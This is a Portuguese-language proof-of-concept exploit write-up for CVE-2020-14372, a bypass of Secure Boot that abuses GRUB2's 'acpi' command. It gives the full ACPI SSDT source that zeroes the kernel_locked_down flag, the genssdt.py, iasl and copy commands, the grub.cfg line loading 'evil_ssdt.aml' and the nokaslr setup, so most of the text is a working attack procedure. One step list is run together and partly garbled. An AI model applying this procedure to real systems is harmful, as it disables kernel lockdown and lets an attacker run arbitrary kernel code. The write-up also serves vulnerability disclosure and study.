
Exploit de prova de conceito e write-up para o CVE-2020-14372, demonstrando bypass do Secure Boot via SSDT ACPI malicioso para desabilitar o lockdown do kernel e executar código arbitrário.
Um dia digitei "help" no console do GRUB2 e vi alguns comandos muito "divertidos":
Imediatamente pensei que tinha encontrado o bypass de Secure Boot mais divertido, mas esses comandos exibem o seguinte sob o Secure Boot:
error: Secure Boot forbids loading module .../memrw.mod.
Por curiosidade, inicializando dessa forma digitei o comando "acpi", e ele imprimiu uma mensagem de uso dizendo para eu apontá-lo para um arquivo AML. É bem conhecido que outro nome para ACPI é um "mecanismo para executar código arbitrário fornecido pelo fornecedor no contexto do seu kernel", já que podemos carregar tabelas ACPI com o Secure Boot habilitado, somos o "fornecedor" que pode fornecer esse código.
Mas como há um flag de um byte (kernel_locked_down) no segmento de dados do kernel inicializado que informa se ele está "bloqueado", podemos simplesmente sobrescrever esse flag usando um SSDT e deixar o kernel carregar módulos arbitrários.
O SSDT a seguir faz isso criando um objeto "battery" chamado HACK e realizando a escrita no método _INI desse objeto, que é sempre executado pelo kernel:
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
{
LKDN, 32
}
Device (\_SB_.HACK)
{
Name(_HID, EisaId ("PNP0C0A"))
Name(_UID, 0x02)
Method(_INI)
{
If (LKDN)
{
LKDN = Zero
}
}
}
}
Escrevi uma prova de conceito de exploit em Python que ajuda a gerar esse SSDT, mas explorar isso manualmente também não é tão difícil. O esboço geral é o seguinte:
nokaslr à linha de comando do kernelkernel_locked_down após inicializar sem KASLRiaslPré-requisitos:
root ao sistema operacional em execuçãoQuando as premissas acima forem atendidas, edite /etc/default/grub, adicione nokaslr a GRUB_CMDLINE_LINUX_DEFAULT, execute update-grub e então reinicie.
Depois que o kernel for inicializado sem randomização de layout do espaço de endereço, o script genssdt.py pode ser usado para gerar um SSDT "malicioso" que corrige a memória do kernel em tempo de execução para desabilitar o bloqueio:
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml
Agora que o SSDT foi criado, o arquivo de configuração do GRUB (geralmente em /boot/grub/grub.cfg) deve ser editado para fazer o GRUB carregar esse SSDT (adicionando isto ao topo desse arquivo):
acpi (hd0,gpt1)/evil_ssdt.aml
Com base em onde a partição de sistema EFI (onde colocamos o SSDT acima) reside no disco, (hd0,gpt1) pode precisar ser substituída por outra coisa.
Finalmente, após uma reinicialização, o bloqueio de kernel deve estar desabilitado, dando ao root a capacidade de executar código arbitrário no kernel.